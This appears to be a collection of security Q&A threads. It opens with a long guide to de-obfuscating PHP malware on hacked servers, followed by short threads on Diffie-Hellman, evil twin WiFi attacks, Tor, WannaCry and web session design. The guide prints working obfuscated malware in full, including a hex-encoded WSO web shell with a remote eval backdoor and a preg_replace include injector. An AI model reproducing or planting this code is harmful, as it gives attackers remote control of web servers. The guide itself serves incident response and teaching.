I found unknown PHP code on my server. How do I de-obfuscate the code? We've been getting a lot of noise regarding hacked PHP files here, and it's taking a lot of time to answer these questions. In many cases, they are off-topic. We've had a discussion about this on Information Security Meta, and many people want these posts to stay.

However, nearly every single post about obfuscated PHP can be answered in almost the same way. I think we can condense the majority of the methods for de-obfuscating hacked files into one single question & answer thread.

This leads to the question many people are asking: how do I de-obfuscate malicious PHP code that I found on my server, how did it happen, and what do I do?!

Fortunately, almost all PHP scripts can be deobfuscated with 4 simple methods. We're going to use these four methods to create a canonical answer.
Before we begin, let's collect a list of common tools that assist in deobfuscating these malicious files so we can do the work ourselves.

Common tools that aid in deobfuscation

UnPHP. This greatly aids in de-obfuscating scripts that have nested obfuscation in excess of 100 nested functions. In many cases, this website, and those like it, should be the first one for you to visit. However, in some cases, UnPHP cannot deobfuscate the initial payload. In those cases, other tools we'll list will suffice.
PHP Beautifier. This is an excellent tool for splitting up single-line files which are otherwise very difficult to read.
Base64 decoders. I'm linking to Google search for this one. Some of these Base64 websites look kind of shady, so if you prefer to use an offline version without visiting those websites, I whipped up a quick tool for Windows (get Base64Decode.exe). Source code is available as well.
PHP Sandbox. You can also look for other sandboxes on google. We'll use this to run echo commands when needed.

Commonly exploited PHP functions
The vast majority of hacks are using some form of eval, or preg_place, or both:

eval(). This can be an evil function, as it allows arbitrary execution of PHP code. Just finding this function in use on your website could be an indication that you've been hacked.
preg_replace(). Frequently used with eval() to allow for arbitrary code execution. There are plenty of good uses for preg_replace(), but if you don't know how it got there, and especially if it appears alongside obfuscated code, that's a clear indication that you've been hacked.
Additional Information. To prevent this answer from becoming too large, I'm going to link to this question about commonly-exploited PHP functions.
Also, check out the OWASP PHP Cheat Sheet.

While base64_decode is used in nearly all of the hacks we've come across, it mainly serves as a layer of obfuscation.

Common obsfuscation formats
There are several different ways that hackers obfuscate their code. Let's list some of the common techniques so we know how to spot them and then decode them:

Hex Encoding. You'll be looking for the HEX number on that table list. In PHP, these can be represented by backslash x, followed by a number or letter. Examples:

\x48 = H
\x34 = 4
\x78 = x

However, they aren't necessarily represented only by \x. They could be \# as well.
2. Unicode strings. Almost the same as above, but \u# instead of \x#. Examples:

\u004D = M
\u0065 = e
\u0020 =   (space)
\u0070 = p
\u006c = l
\u0073\ = s

Base64 encoding. Base64 is a bit different than the aforementioned methods of obfuscation, but is still relatively easy to decode. Example strings:

SSBsaWtlIGRvbnV0cw== = I like donuts
ZXZhbChiYXNlNjRfZGVjb2RlKCJoYXgiKSk7 = eval(base64_decode("hax"));
QXNzdW1pbmcgZGlyZWN0IGNvbnRyb2w= = Assuming direct control

Garbage stored in a string, split by for loops, regex, etc. You'll have to decode that yourself, as they vary considerably. Fortunately, many of the aforementioned methods should assist you in de-obfuscating this time.

How can I deobfuscate PHP Files by myself?
Because we cannot help (we can, I can, but they won't let me! :P) with every single PHP malware snippet out there, it would be better to teach you how to do it.
Learning how to do this yourself will help you learn more about PHP, and more about what's going on. Let's put our tools to use, and use two previous examples of PHP deobfuscation on this website.

Deobfuscation Example #1
Refer to this question. Copy and paste the code into UnPHP:
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

And you'll see it doesn't deobfuscate it for us. Bummer. We're going to have to do some extra work. Note the strings, along with it's concatenations. Argh! It's so ugly and confusing! What are we going to do with these strings? This is where the PHP sandbox comes into play.
<?php
    echo "\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40" . "
";
    echo "\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77" . "
";
    echo "\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41" . "
";
?>

Now that we've echo'd the contents, we can rebuild it to get the following results:
<?php
    preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));",
    "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc";
?>

Note the string, L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc? That looks an awful lot like the Base64 encoding we talked about earlier! Let's try to decode it and see if we're right:
/home4/mitzvahc/public_html/assets/img/logo_small.png

After opening the logo_small.png file in some kind of text editor, we find something like this:
eval(gzuncompress(base64_decode("evil_payload")));

Oh no!!!
If you run the file contents through UnPHP, you should get your decoded results.

Deobfuscation Example #2
Refer to this question:
Remember earlier when we mentioned ASCII encoding? Take a look at the code:
<?php
    ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
?>

Let's copy and paste this into UnPHP. Once the results are in, we can finally see what it's doing, but it looks all smashed together. Let's paste it into the PHP Beautifier. Now it's a lot easier to read!

Deobfuscating variable names
If you're not able to deobfuscate variable names through any of the previously-mentioned methods, then deobfuscating those variable names can be a manual, time-consuming process. Fortunately, looking for common malware patterns such as shutting off the log files, using eval() or preg_replace() with obfuscation indicates that something is wrong.
Obfuscation is the wrong approach, so if you find code obfuscated on your website, you should assume you've been hacked. You should not be obfuscating your code. Security at the expense of usability is not security.

Deobfuscation Risks
Trying to decode these files on your own web server is not safe for a lot of reasons, some of which may be unknown to us. Do not try to deobfuscate PHP files on your own web server. You could inadvertently introduce additional backdoors, or assist the malware in spreading itself because many of the scripts load functions remotely.

That's nice, but how did I get hacked?
This is really too broad to answer without us having access to everything on your web server, including logs.
You may have incorrect hardening on your Content Management System (CMS) installation, or there may be a vulnerability somewhere in your web stack. You can check these links if they're part of your CMS:

Joomla Security Checklist
WordPress Hardening
Drupal Security Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes. The OWASP Cheat Sheet serves as a good starting point to finding and fixing common vulnerabilities. Remember, only you can prevent shell access.
There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.

So what do I do?!
You should read this Q&A: How do I deal with a compromised server?


"Diffie-Hellman Key Exchange" in plain English Can someone explain what the Diffie-Hellman Key Exchange algorithm in plain English? I have read that Twitter has implemented this technology which allows two parties to exchange encrypted messages on top of a non-secured channel. How does that work?

Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together.

This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been visible. This is where perfect forward secrecy comes from. Nobody analyzing the traffic at a later date can break in because the key was never saved, never transmitted, and never made visible anywhere.

The way it works is reasonably simple. A lot of the math is the same as you see in public key crypto in that a trapdoor function is used. And while the discrete logarithm problem is traditionally used (the xy mod p business), the general process can be modified to use elliptic curve cryptography as well.

But even though it uses the same underlying principles as public key cryptography, this is not asymmetric cryptography because nothing is ever encrypted or decrypted during the exchange. It is, however, an essential building-block, and was in fact the base upon which asymmetric crypto was later built.

The basic idea works like this:

I come up with a prime number p and a number g which is coprime to p-1 and tell you what they are.
You then pick a secret number (a), but you don't tell anyone. Instead you compute ga mod p and send that result back to me. (We'll call that A since it came from a).
I do the same thing, but we'll call my secret number b and the computed number B. So I compute gb mod p and send you the result (called "B")
Now, you take the number I sent you and do the exact same operation with it. So that's Ba mod p.
I do the same operation with the result you sent me, so: Ab mod p.

The "magic" here is that the answer I get at step 5 is the same number you got at step 4. Now it's not really magic, it's just math, and it comes down to a fancy property of modulo exponents. Specifically:

  (ga mod p)b mod p = gab mod p
  (gb mod p)a mod p = gba mod p

Which, if you examine closer, means that you'll get the same answer no matter which order you do the exponentiation in. So I do it in one order, and you do it in the other. I never know what secret number you used to get to the result and you never know what number I used, but we still arrive at the same result.

That result, that number we both stumbled upon in step 4 and 5, is our shared secret key. We can use that as our password for AES or Blowfish, or any other algorithm that uses shared secrets. And we can be certain that nobody else, nobody but us, knows the key that we created together.


Why do evil twin attacks against WiFi use a captive portal? I was recently the victim of an evil twin attack on my WiFi network, probably by the new upstairs neighbors. It prompted me, with a captive portal, saying there had been an update and I needed to enter my WiFi password to finalize it.

Now I read a lot about about this kind of attack and actually tested it out on a hotspot I made from my phone using fluxion to understand it better. What I'm wondering, however, is why does this attack use a captive portal? Couldn't it simply create an evil twin with WPA2 security, so that I would log onto it either automatically or manually when I notice my phone isn't connected to the WiFi anymore?

They cannot create a twin WPA network without knowing the password of the legitimate one. So they usually disrupt the legitimate network, create an open network with the same SSID, and wait until some user connects to it by mistake.

After connecting, the user is redirected to a fake "Maintenance Mode" portal, or something like that, asking for the network password to proceed. As the vast majority of the users aren't tech-savvy, they will happily enter the password.

It takes only one user to disclose the password, and it's done. No need to capture lots of handshakes, rent an expensive rig on Amazon and spend a lot of money cracking a hash. Depending on the demographics of the users, a password can be obtained in minutes.


What can be done to secure passwords that might be stored in plain text or hashed inside a git repository? I've heard a lot lately about coders being really bad at security.  For one they store passwords and sensitive information inside Git repos which are often not secured well enough. Someone then comes along and makes a copy of the repo, and in turn gets all the usernames and password or hashes for a corporate network.

What can be done to secure a Git repo?  One thing I can think of off the top of my head would be to use a commit hook that checks for that sort of thing.  But that could be easily by passed.

One thing you could do is store the passwords inside a configuration file (for example Laravel stores it inside .ENV) and then avoid committing it to the repo, by adding it to .gitignore.

Users will have to create one manually after downloading the repo.


Hiding Tor traffic to prevent deanonymization I am trying to figure out what is the best way to hide Tor traffic in order to improve anonymity.
While Tor is pretty good at hiding users’ IP addresses, its traffic stands out. This can be detrimental in some cases.
In this article (FBI agents tracked Harvard bomb threats despite Tor), the perpetrator has been identified by matching the timing between Tor connections on Hardvard’s network and the email threats. Has he been able to mask the Tor traffic, he might not have been singled out as a suspect.
Some methods that have been proposed are:

Connecting to Tor through a VPN. Some well known companies such as ProtonVPN offer such service. However, adding a VPN increases the attack surface and ties billing information to the user. cf. Why is Home --> VPN --> Tor worse than Home --> Tor?
Also, (to be confirmed), I think that a VPN won’t hide the fact that all Tor packets have the same known length, which can be a give away.

Using Tor bridges with obfsproxy.  Obfuscated bridges are designed to circumvent DPI. While it is more difficult to detect with obfuscation, under manual inspection the traffic can still be recognized as Tor traffic. (Lightly explained here, so I wont dive into more details Different types of Tor bridges - implications for detection of Tor use )

For some people such as whistleblowers, journalists and activists, beind de-anonymized can be fatal. So when generating Tor traffic is suspicious, what is the best way to hide it?

When generating Tor traffic is suspicious then the best way to hide is to not use Tor. What is your end goal and who is your adversary? You only really need Tor when you want to connect to a hidden service. For normal websites you could just use a VPN/proxy or multiple of those.
For VPN  + Tor creating lots of (non tor) traffic will make analysis at least harder.
Many bridges are public. Using obfsproxy + a private bridge would maybe not stick out that much but the protocol still does not look like standard internet traffic. The host for the private bridge will know you use Tor. The bridge itself is also not invisible since it needs to connect to other Tor nodes in order to work. Meek is better than obfsproxy because it looks like TLS. There is also another upcoming pluggable transport which should make the connection look like a normal browser.


Why is the WLAN-Implementation so bad If you are with your phone out of the house and you have wlan enabled. Your phone is screaming out to world i'm looking for the wlan with the name "yourhomewlanname". If someone has the router equipment, he can easily say he's the router and just throw away the password and route all traffic through his router. This is a massive security hole!

Why is this not yet removed?

The next thing is WPS System here is described how horrible this is it.

The third thing is that you can sent deauc to any device and it will automatically reconnect, you can capture the handshake, and try to decrypt the handshake locally!! If the password is not in an dictionary or long enough, this doesn't matter. But still that you can try it locally is not the best design, since you can use arbitrary many machine power to decrypt it. If you had to use for every combination the interaction with the router this would be much more limited.

After all that, i am really asking myself. Why do people invent things like WPA2 and then implement the rest so weakly?

First:
No, as an attacker, in order to make your phone auto connect to a spoofed wireless network with the same essid of your 'home network', he needs your AP MAC address, which your phone is not probing, and also he must uses same security levels as your AP 'with the same keys'.
Second:
Yes, WPS is a vulnerability and it's been exploited by many tools. And sadly WPS is enabled by default on many APs.
Third:
Also Yes, you can crack WPA1 and WPA2 using a good dictionary attack, all you need is time and a well defined dictionary.


Is it still not advisable to use recent versions of EncFS >1.7 to encrypt Dropbox? I'd like to use EncFS to encrypt files synced with Dropbox. Unfortunately, its Wikipedia page https://en.wikipedia.org/wiki/EncFS mentions security concerns from an audit of version 1.7:

  EncFS is not safe if the adversary has the opportunity to see two or more snapshots of the ciphertext at different times.

Someone with access to my Dropbox account will have exactly that: Dropbox stores multiple previous versions of a file after it's been modified which is exactly "two or more snapshots of the ciphertext at different times".

In 2015, this has been confirmed in this question for example: Is ENCFS secure for encrypting Dropbox?

Regarding version 1.8, Wikipedia states:

  The announcement of EncFS 1.8 included several underlying design changes, acknowledging the security concerns raised in the previous audit. However, certain concerns still remain regarding those vulnerabilities.

Which concerns do remain? Is the issue regarding Dropbox fixed?

Also, according to https://github.com/vgough/encfs/releases the most recent version is 1.9.5, now.

Is it still not advisable to use those recent versions of EncFS to encrypt Dropbox? Does the issue with "two or more snapshots of the ciphertext at different times" still exist?

This depends on who you are trying to secure it against. The most common scenario is you want to prevent identity theft or/and keep information a secret from your room-mate or relative.

An identity thief will not be spending hours of his time cracking files of one individual considering slim chances of success and questionable outcome. That's way too much effort for them. Unless you are a multimillionaire which I doubt considering you are here :)

As long as you relatives are not security researchers they shouldn't be an issue.

However if you are a person of interest for FBI / NSA / CIA etc then I'd recommend solutions that provide plausible deniability in conjunction with a good lawyer :D


Keeping user session alive - security considerations We have recently developed some functionality for our web app to allow a user to remain logged in indefinitely, and are interested in knowing the security ramifications of doing so. The goal of this was to prevent user data loss if they take an excessively long time to edit a page - previously they'd have to copy/paste to clipboard once the session expired as POSTs would be blocked and logon was handled on a different screen.

So, we now detect if a user session is close to expiry and then present them with a modal that allows them to click a button to keep their session alive. If they ignore this warning modal for long enough, we replace it with a "log back in" modal as soon as their session actually expires.

The first modal/warning mechanism operates via an AJAX get call to the server which returns the time until logout. If the time is less than 15minutes we open the "Keep me logged in" modal which has two options - log me out now or stay logged in. Log me out does the obvious, staying logged in entails another AJAX get to the server again which refreshes the user's auth cookies.

The second modal is more complicated - the modal blocks further interaction with the page and is only removed upon correct password re-entry. We  are aware that a modal won't really protect reading data from the page but this is the nature of the requirement.

Data required for the user to re-logon (such as username and previous role) is stored in plain text in hidden input fields within the modal. We considered hashing this but it didn't really seem to be necessary - username isn't particularly critical and the requested role is re-evaluated at re-logon; you can't upgrade yourself to a role you don't have access to if you tried to 'adjust' the POST.

The worst case scenario we have considered is that someone edits the POST with a different yet valid username/password and logs in as someone else whilst remaining on the page. They would be able to read the page but they can do that anyway - navigating away will return them to the correct screens for the 'new' login. We probably need some work done to ensure all POSTs are blocked in this scenario but is there anything else to consider? Is there anything to be gained from forcing the user to re-identify by manually typing their username again?

The web app is ASP.NET MVC3.

UPDATE

Thanks for the feedback so far.

We've taken onboard not trusting data from the client so we have decided to encrypt the username and role together and then we decrypt this on the login attempt.  We have since discovered that due to the AntiForgeryToken safeguards that we already have in place if a different user was to login then any post actions would fail validation.

We don’t feel that there will be a major usability issue with the popup as the timeout is currently set to 60 minutes with a 15 minute warning.  We have already factored in the sliding expiration not updating until after half way (http://msdn.microsoft.com/en-us/library/system.web.configuration.formsauthenticationconfiguration.slidingexpiration.aspx). It is important to remember this was all implemented to address user complaints about losing data - they enter a large amount of text on our system which can be time consuming and has a high chance of the session going stale before they are finished.

Another feature to be added at a later time would be to handle a user changing input fields and sending a heartbeat to the server (unless they are already un-authenticated).  We have not yet decided how to handle this event or to trigger the heartbeat so that it does not fire every keypress.  Once this is in place the timeout warning  dialog box should show less often.

Something else that might be worth mentioning is that the entire site is HTTPS and we use ASP.Net AntiForgeryToken which are HttpOnly Cookies flagged as secure.

If anyone has any further feedback or suggestions it would be great to hear from you.

I smell two "bad smells" in this approach:

First, you should never trust the client.  Storing the username on the client-side and then trusting the client to send it back honestly does not strike me as wise.  You've already discovered that this could allow someone to access a single page under a different username.  That already sounds a bit dubious, and how do you know there aren't worse attacks?  I would recommend against any scheme that involves trusting, even if only for a little while, the client.
Second, the usability of this sounds problematic.  Popping up dialog boxes that interrupt your flow is really annoying.  Either cut off their session, or don't.  Personally, for most websites I think there is not a great deal of danger in keeping their session open for a long time, if they've left a tab open, and I think the usability benefits of not forcing users to re-login are worth the security risks but that's for you to decide.  My only suggestion is to avoid pop-up dialog boxes that interrupt your flow.  Of course, I'm not an expert on usability.  If you want a more expert opinion, you can ask on User Experience.SE.

Update (11/14): I understand that you added the dialog box for a reason, but I still think it's probably not the best solution from a usability perspective.  If the solution is that users who were in the middle of data entry were losing data, then there are other solutions that seem like they have better usability.  Example: you can use Javascript to have the web application auto-save the text they've entered every 30 seconds, so that if their session times out on them, they can log back in and their text re-appears.  Or, you could extend the length of the session.  Or, you can detect user activity on any tab (typing, etc.), and only expire the session after 60 minutes of user inactivity.  Asking User Experience folks might lead to other suggestions as well.  I realize this is off-topic for this site, so I'll leave it at that.

I don't immediately have an attack that breaks your scheme and shreds it to ribbons.  But these "bad smells" leave me with some concern and make me think that you haven't followed good practices for defensive design in web applications.


whats the worst thing an Android malware is capable of doing? An android malware can do a lot of damage, whats the absolute worst thing it can do ?
Consider a layman's Android device which is not rooted.

There is no generic "worst". For some this might be that the device is permanently broken so they need to replace it (costs), for others it might be the loss of information on the device (value of data). For some the worst might be that sensitive information leak from the device, like access credentials or sensitive pictures etc and then get used later against the owner or for impersonation. And for others it might be that the device listens to all what their communication and transfers these to the adversary (espionage).
A potent Android malware could do all of this, especially if it can use some bugs to get root access (there were several of these in the past).


If authenticated user tries to access a restricted resource If a user with authorization to access Resource A, tries to access Resource B (by trying to follow a URL), which of the following is a better course?

Take them to a standard Access Denied Page, with a generic, "You do not have sufficient authority to access this resource".
Or just ignore their request, no acknowledgement of any kind.

For a malicious user the latter approach seems appropriate, however, for a genuine user, making an honest mistake, the former approach seems better.

Is there an established guideline one could follow?

It is possible to enumerate resources through distinctions such as these - if you return a 403 for pages that do exist, but the current user can't access, and 404 for pages that don't exist, an attacker can easily distinguish between valid and invalid resources.

Whether this matters depends on your application - if you reveal information in this circumstance that has value, it may be a bad thing: if /user/73463 gives me a 404 but /user/64500 gives me a 403, I can make an educated guess that 64500 is a valid user whose profile I can't see. On the other hand, if /year/2003 to /year/2016 give me a 403 but /year/2002 and /year/2020 give me a 404, all I can tell is that you've not created year folders off into the distant future, and possibly that you don't have anything from before 2003.

Ideally, you don't want to provide URLs to which the user has no access (from your question, I'm not sure if the URL being followed is on your site, or from elsewhere). You can only control this within your system though - if user B sends user A a link, user A can discover that the resource exists without caring about your response to them. That applies if a link is provided on a third party website too - no-one is likely to link to a non-existent resource (although they might have linked to a resource that no longer exists, in which case a 404 or 410 would be appropriate). For your own systems, you should aim to minimise the chances that a legitimate user can follow a link to a resource which they don't have permission to access.

Generally, if something can easily be enumerated (e.g. numeric identifier) it makes more sense to return a consistent response to all requests, whether the actual status is lacking authorisation or the resource not existing. If something can't be enumerated (e.g. long hash identifier), it might make sense to distinguish between the states, but you should be aware of the potential for someone to stumble across resources they shouldn't be able to detect, and take steps to prevent this (e.g. monitor for high request rates and throttle apparent attempts to enumerate for resources).


What happens if you run WannaCry after installing the necessary patches? I understand that WannaCry spreads itself by exploiting the SMBv1 vulnerability, which is fixed by patch MS17-010.

Does this mean that even with the patch installed, WannaCry can still infect the computer--if the user downloads and executes it--but not propagate itself through the computer's network?

Does Windows Defender/any current security software block the execution of WannaCry if, say, a user executes it?

If you download and execute WannaCry, it will still lock your files and attempt to infect other unpatched computers in the network.

WannaCry only needs the SMB exploit to get into a system, not to get out. Once it has control of your system, it does not need the exploit to execute arbitrary code, including the worm. The MS17-010 patch protects your computer from being infected through this exploit, but it does not prevent your computer from infecting other machines on the same network if those other machines are not patched.

To protect other computers on the network, you need to block all outgoing traffic to port 445. I've not (yet) seen WannaCry try and circumvent a blocked outgoing port.

There are several variants of WannaCry out there. These all seem to be detected by major antivirus software, including Windows Defender. You can see a full list of antivirus software that detect a particular version on Virus Total, e.g. for this sample. comae.io seems to have a decent compilation of variants found in the wild which you can search for on Virus Total.


Understand the "Windows Key Store" I work in a enterprise environment and I often hear the use of the "Windows Key Store" to store various keys including symmetric. I do understand there is a "Windows Certificate Store" which as the name suggests stores certificates and can be accessed under MMC.

1) Is there a difference between the WKS and WCS?

2) Where is the Windows Key Store and how can it be used by applications to store symmetric keys and get them programmatically upon usage?

3) Any useful walkthroughs or online documents that may shed some light on the above?

Key store is used for private keys. Those can be used for applications that use cryptography features such as public or private key encryption.

These types of keys are supported:

Diffie-Hellman public and private keys
Digital Signature Algorithm (DSA, FIPS 186-2) public and private keys
Elliptic Curve Cryptography public and private keys
RSA (PKCS #1) public and private keys
Several legacy (CryptoAPI) public and private keys

Certificate Stores is a storage location that stores certificates locally on the computer. It can store:

Local Machine and Current User Certificate Stores (local to a user account on the computer)
Trusted Publishers Certificate Store (Authenticode (signing) certificates of trusted publishers that are installed on a computer)
Trusted Root Certification Authorities Certificate Store


File-structure when using token I'm using a form-token to secure the validation process of my php-file.

Basically the structure of the php-file looks like this:

if ($_POST) {//form has been submitted?

    if (validateFormToken) {
        //process form-data
    }

} else {

    //display form and generate token
    include 'includes/forms/form.php';

}

I would like to know if it would be more secure if I split the php-file into two files:

the form itself and
the validation php-file

I just ask because currently I use one file only and this file can be accessed directly. If I use two files (mentioned above) I could prevent direct access of the validation-file via the generated token. But the form-file could still be accessed directly. Is there another way to prevent direct access via .htaccess or some other method I am not aware of?

Code is not going to become more secure per se by splitting it differently across files. The important thing is what code is going to be executed when anyone requests a certain URL. Whether this changes because your web server is executing a different file or because you have an if..else statement in one file is entirely irrelevant. Separate files may help code organisation and thereby prevent possible bugs, but it's not more secure per se.

If it's possible to access "include files" which should not generally be executed by themselves, and this allows an attacker to circumvent some protection or another, that's entirely your fault for exposing this executable code publicly in the first place. You must only place "public" code in the public webroot directory. If a visitor is not supposed to go to http://example.com/include/never/execute/this/directly.php, then this URL must prompt a 404 response by the web server instead of making it execute some code. The sane way to do this is to not put the file there in the first place, but outside the webroot:

myapp/
  includes/
    sensitive.php
    ...
webroot/
  contact.php
  index.php
  ...

This can go so far as to only have one index.php in the webroot, using mod_rewrite to direct all requests into it and using a request router to handle requests in PHP.

Your web server is responding to URL requests. This has nothing to do with physical files at all. Always keep that in mind. Which URL request involves which files is completely up to you. The point is which URL will trigger what response; how the files are laid out on the backend is completely irrelevant.


